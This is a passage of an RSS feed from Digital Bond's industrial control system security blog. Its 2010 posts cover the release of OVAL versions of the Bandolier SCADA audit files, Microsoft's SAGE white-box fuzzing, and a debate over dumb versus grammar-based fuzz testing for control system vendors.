Nessus was an obvious choice when we set out to build the Bandolier Security Audit Files. First, it is one of the most popular security tools available and is the de facto standard for vulnerability scanners. The compliance plugins work perfectly for the goal of Bandolier &#8211; measure the optimal security configuration for SCADA and [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F04%2F20%2Fbandolier-oval-files-now-available%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F04%2F20%2Fbandolier-oval-files-now-available%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Nessus was an obvious choice when we set out to build the Bandolier Security Audit Files. First, it is one of the most popular security tools available and is the <em>de facto</em> standard for vulnerability scanners. The compliance plugins work perfectly for the goal of Bandolier &#8211; measure the optimal security configuration for SCADA and DCS applications at both the OS and application levels. Finally, Nessus requires no client or agent installation on the control systems. Having to install additional software on the control system servers and workstations would be a non-starter for many. It appears we made the right choice &#8211; Bandolier, in conjunction with the Nessus policy compliance plugins, is quickly becoming the most widely used security tool in the control system IT space.</p>
<p>However there are other scanners in use, and we want to make Bandolier available to as many organizations as possible. The original DoE project scope included a commitment to deliver the application-level files in an open language. The technical &#8220;checks&#8221; we do with Bandolier in the Nessus .audit language are most similar to the &#8220;tests&#8221; done in <a href="http://oval.mitre.org/">OVAL (Open Vulnerability and Assessment Language)</a> so we chose that language.</p>
<p>We learned some interesting things in the OVAL conversion process. First, the OVAL XML can be quite complex. A single check that takes 4-5 lines of .audit language might take 100+ lines in the OVAL XML expression of the same check. One of the things we like to tout about Bandolier is the audit files are easily editable by an asset owner to customize for their local security requirements. I&#8217;m not sure we can make the same claim about the OVAL versions. </p>
<p>The second thing we are discovering is this: security tools that say they support OVAL are not truly taking raw OVAL as input. At least in the cases we&#8217;ve seen, they are doing their own conversion or transform process. We are still exploring this issue and I suspect (and hope) this blog post and release may generate some feedback.</p>
<p>So, now that we&#8217;ve set the context, I&#8217;m happy to announce that you can find the OVAL versions of the application-level Bandolier audit files <a href="http://www.digitalbond.com/index.php/research/bandolier/#OVAL1">here</a>. The OVAL files audit the same exact settings as their .audit counterpart but may do so in a different way depending on what tool you are using. For our testing, we used MITRE&#8217;s <a href="http://sourceforge.net/projects/ovaldi/">OVAL Interpreter</a> (OVALDI) in a lab environment. We consider this an alpha release until we are able to better confirm some use cases with specific scanners.  </p>
<p>We appreciate any feedback you have about the Bandolier OVAL expressions. If you have a security tool that you&#8217;ve been wishing you could use for Bandolier or if you are able to make the files work with another scanner, please leave a comment or <a href="mailto://info@digitalbond.com">drop us a note</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/04/20/bandolier-oval-files-now-available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SAGE and the increasing smarts in fuzzers</title>
		<link>http://www.digitalbond.com/index.php/2010/02/11/sage-and-the-increasing-smarts-in-fuzzers/</link>
		<comments>http://www.digitalbond.com/index.php/2010/02/11/sage-and-the-increasing-smarts-in-fuzzers/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 01:11:41 +0000</pubDate>
		<dc:creator>Daniel Peck</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Security Tools]]></category>
		<category><![CDATA[The Rack]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=5396</guid>
		<description><![CDATA[
			
				
			
		
Fuzzing is growing up.  From the academics of the late 80s throwing random data at unix command line tools, to the early work by researchers and commercial groups in the last 90s and early 2000s, to the explosion of fuzzing topics at conferences around the world about 5 years ago its come a long way.
As [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F02%2F11%2Fsage-and-the-increasing-smarts-in-fuzzers%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F02%2F11%2Fsage-and-the-increasing-smarts-in-fuzzers%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Fuzzing is growing up.  From the academics of the late 80s throwing random data at unix command line tools, to the early work by researchers and commercial groups in the last 90s and early 2000s, to the explosion of fuzzing topics at conferences around the world about 5 years ago its come a long way.</p>
<p>As a general rule fuzzers have gotten smarter as time has gone by. Either in the knowledge it has of whatever is being fuzzed (protocol, file format, etc) or in the technique that the fuzzer uses to generate test cases, and sometimes both. And both of these approaches are trying to solve the same problem and come out on the happy side of the code coverage vs time/resource equation, after all there is no sense spending days worth of cycles sending packets with bad checksums if that&#8217;s the first thing checked by the application.  We&#8217;ve seen some good ways of dealing with this, some modeling fuzzing as graph traversal, others using compression techniques to find similar data and data boundaries and fuzzing those values (<a href="http://lzfuzz.cs.dartmouth.edu/">http://lzfuzz.cs.dartmouth.edu/</a>), and quite a few others ways of sending the most valid invalid information possible to the target.</p>
<p>One of the approaches getting a little more attention (though the technique itself goes back a few years) is Microsofts <a href="http://research.microsoft.com/en-us/um/people/pg/public_psfiles/sage-in-one-slide.pdf">SAGE project</a>.  Supposedly the project has led to numerous critical vulnerabilities found in various MS products.  The approach is what they call white box fuzzing, where a fair amount of analysis of the target is performed along with the fuzzing being done.  The technique itself is simple to understand.  The program is fun with a seed fuzz, and through binary analysis gather constraints on that input (such as checking whether a given input is a printable character, a newline, a number within a specific range), etc, and generate the next round of fuzzed data based on those criteria.  Of course there are a lot of difficult problems to solve to make this work in the real world, but that&#8217;s the high level overview of it. It also does some interesting things to figure out which crashes are unique and which ones are just duplicates of other crashes. An important feature if you&#8217;re running this 24/7 against a boatload of products, or if you&#8217;re a small group tasked with all testing at a vendor.  Combine this with some of the other tools like the !exploitable extension to windbg (and their internal tools that I&#8217;d guess are probably a couple of generations ahead of what&#8217;s released) to help sort out crashes from (likely) exploitable vulns and they&#8217;ve created quite a package.</p>
<p>I&#8217;ve sat through quite a few presentations from researchers in academia talking about applying generational/mutation based approaches to testing, with lots of models and math of why it should work, but not a whole lot to show for it on the results side, so its interesting to see some of this theoretical work being put to test, and returning good results, in the real world. Also interesting is that <a href="http://www.cs.cmu.edu/~dbrumley/pubs/apeg.html">similar research</a> has been done, and I&#8217;d assume continues, using many of the same techniques to automate exploit creation.</p>
<p>Of course the need for fuzzers, either smart or dumb, in scada systems isn&#8217;t too necessary when often times an nmap or nessus scan does the job just fine.  And sometimes the target is user friendly enough to<a href="http://jbrownsec.blogspot.com/2010/02/reverse-engineering-file-formats.html"> give you the details</a> on how to exploit it anyways.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/02/11/sage-and-the-increasing-smarts-in-fuzzers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best Way to Fuzz Part 2</title>
		<link>http://www.digitalbond.com/index.php/2010/02/05/best-way-to-fuzz-part-2/</link>
		<comments>http://www.digitalbond.com/index.php/2010/02/05/best-way-to-fuzz-part-2/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 12:55:31 +0000</pubDate>
		<dc:creator>Dale Peterson</dc:creator>
				<category><![CDATA[Development Tools]]></category>
		<category><![CDATA[Security Tools]]></category>
		<category><![CDATA[The Rack]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=5371</guid>
		<description><![CDATA[
			
				
			
		
A few thoughts after the intelligent comments, additional info, sound and fury:

Microsoft is in the very rare top tier of companies spending time and money on security. In gross $ and time probably number 1 and very high on a percentage of security to software development time. They are also among the most attacked. So [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F02%2F05%2Fbest-way-to-fuzz-part-2%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F02%2F05%2Fbest-way-to-fuzz-part-2%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>A few thoughts after the intelligent comments, additional info, sound and fury:</p>
<ul>
<li>Microsoft is in the very rare top tier of companies spending time and money on security. In gross $ and time probably number 1 and very high on a percentage of security to software development time. They are also among the most attacked. So the information they provide on fuzz testing effectiveness and other parts of the SDL is an important data point.</li>
<li>Microsoft&#8217;s approach with white box testing and their SAGE tool is useful info for the right people in a vendor&#8217;s development team. Again, Daniel will blog on this next week.</li>
<li>In case I didn&#8217;t emphasize it enough, one of Matt&#8217;s important points was, &#8220;One of my conclusions (which I was pleased to hear echoed in the Microsoft talk) is that no single tool is best, no single approach is adequate&#8211;and that there are different types of fuzzing users that will require different feature sets.&#8221; <a href="http://blogfranz.blogspot.com/2010/02/maze-of-twisty-fuzzers-all-alike.html">Read his full blog entry</a> on this that includes a challenge to a young researcher to do a fuzzer bake-off project rather than develop another fuzzer. </li>
<li>I would really like to see a bake-off of fuzz testing solutions.</li>
<li>I buried the lead and put the most important point last, <strong>vendor&#8217;s need to be fuzz testing their products</strong>. So whether it is Mu, Wurldtech, a collage of open source, or home grown tool is still not the most important issue in the control system community, unfortunately. Many more vendors have added fuzz testing to the SDL than five years ago so the trend is positive, and the fuzz testing solution vendors have helped this happen. Hopefully <a href="http://www.isa.org/filestore/asci/isci/ISCI%20ISASecure%20ECSA%20Certification%20brochure.pdf">ISCI</a> will help even more. Asset owner&#8217;s should be asking for the SDL of their vendors. If it is not readily available, yellow or perhaps red flag. If it can not be explained consistently, red flag. If it does not include fuzz testing, red flag. As has been pointed out in almost every presentation, even those that were not fans of my post, dumb fuzz testing finds exploitable vulns in many products that have not been fuzzed by the vendor.</li>
</ul>
<p>Some vendors have reached out to provide more information on their approach, and I&#8217;ll have our offensive security guys follow up on this.</p>
<p><a href="http://www.digitalbond.com/index.php/2010/02/03/best-way-to-fuzz/#comments">Read Best Way to Fuzz Part 1 and comments</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/02/05/best-way-to-fuzz-part-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Best Way to Fuzz?</title>
		<link>http://www.digitalbond.com/index.php/2010/02/03/best-way-to-fuzz/</link>
		<comments>http://www.digitalbond.com/index.php/2010/02/03/best-way-to-fuzz/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 23:52:17 +0000</pubDate>
		<dc:creator>Dale Peterson</dc:creator>
				<category><![CDATA[Development Tools]]></category>
		<category><![CDATA[Security Tools]]></category>
		<category><![CDATA[The Rack]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=5326</guid>
		<description><![CDATA[
			
				
			
		
There was an interesting discussion and information on what is the &#8220;best way from an ROI measure&#8221; to fuzz test at the CERT sponsored Vulnerablity Disclosure Workshop in DC this week. It led to some tweets back and forth between Digital Bond alumni Matt Franz and myself. First some background:
Fuzz testing is used by vendors, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F02%2F03%2Fbest-way-to-fuzz%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F02%2F03%2Fbest-way-to-fuzz%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>There was an interesting discussion and information on what is the &#8220;best way from an ROI measure&#8221; to fuzz test at the CERT sponsored Vulnerablity Disclosure Workshop in DC this week. It led to some tweets back and forth between Digital Bond alumni <a href="http://twitter.com/mdfranz">Matt Franz</a> and <a href="http://twitter.com/digitalbond">myself</a>. First some background:</p>
<p><a href="http://en.wikipedia.org/wiki/Fuzz_testing">Fuzz testing</a> is used by vendors, I hope, to look for common coding errors that can lead to vulnerabilities, such as buffer overflows. Consultants, researchers and hackers of all hat colors use fuzzing to look for exploitable vulnerabilities. Steve Lipner of Microsoft and co-author of the <a href="http://www.amazon.com/Security-Development-Lifecycle-Developing-Demonstrably/dp/0735622140/ref=sr_1_1?ie=UTF8&#038;s=books&#038;qid=1265240923&#038;sr=8-1">Security Development Lifecycle</a> [SDL] said in his 2008 S4 keynote that fuzz testing and threat modeling proved to be the most effective ways to reduce exploitable vulnerabilities. Asset owner should be asking their vendors in RFP&#8217;s and User Group Meetings to explain their SDL and insure fuzz testing is part of it.</p>
<p>We have two security vendors that are trying to sell products to the control system market: <a href="http://www.wurldtech.com/">Wurldtech</a> with their Achilles platform and <a href="http://www.mudynamics.com/products/Mu-Test-Suite/security-testing.html">Mu Dynamics</a> with their Mu Test Suite. [FD: Wurldtech is a past Digital Bond client and advertiser] One of the features of these products is they both send a large number of malformed packets at an interface &#8211; - typically crashing protocol stacks that have ignored negative testing.</p>
<p>While this greatly simplifies the issue, the two vendors have taken different approaches on how to create those negative packets. Wurldtech touts the use of a structured grammar to create the malformed packets, and MU takes more of an expert systems approach where there security engineers determine what would be the most effective malformed packets to send. There is certainly some overlap between the two approaches, but the question has always been what is more effective at identifying protocol stack errors.</p>
<p>So with that as background, Matt&#8217;s tweet &#8220;At CERT vuln discovery workshop. Interesting MSFT says grammar based fuzzing has lower ROI than dumb fuzzing&#8221; caught my attention. Matt was kind of enough to expand on his summary in an email:</p>
<blockquote><p>The consensus of the talks was that you can&#8217;t rely on a single tool or technique but the ROI was higher for dumb &#8220;mutation based&#8221; fuzzers and white box approaches like SAGE than the time and effort to develop grammar based approaches, model the target, etc.</p>
<p>The direct comment was they still used &#8220;smart fuzzers&#8221; for highly critical code, Office, IE but that it wasn&#8217;t practical for other platforms like Exchange due to the way that it would hold up development and release cycles. Even/Especially in MSFT and CSCO devtest resources are precious and finite. Relatively poorly skill devtesters were able to achieve good enough results.</p></blockquote>
<p>So if you are a vendor, or even an asset owner, starting from scratch you will have a low ROI on developing a grammar based fuzzer. But what if the grammar based solution already exists, such as in the case of Achilles, and you can buy it? This makes the ROI decision more interesting because you could compare the Achilles and the Mu Test Suite head to head and take into account any cost differences. So actually the question still remains if you are looking to purchase a control system fuzzer. </p>
<p>In a future blog post we will have Daniel cover Microsoft&#8217;s fuzzing efforts in the form of their SAGE tool which does &#8220;white box fuzzing&#8221; using symbolic execution and negative constraints. SAGE is still an internal Microsoft tool, but the approach is public.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/02/03/best-way-to-fuzz/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
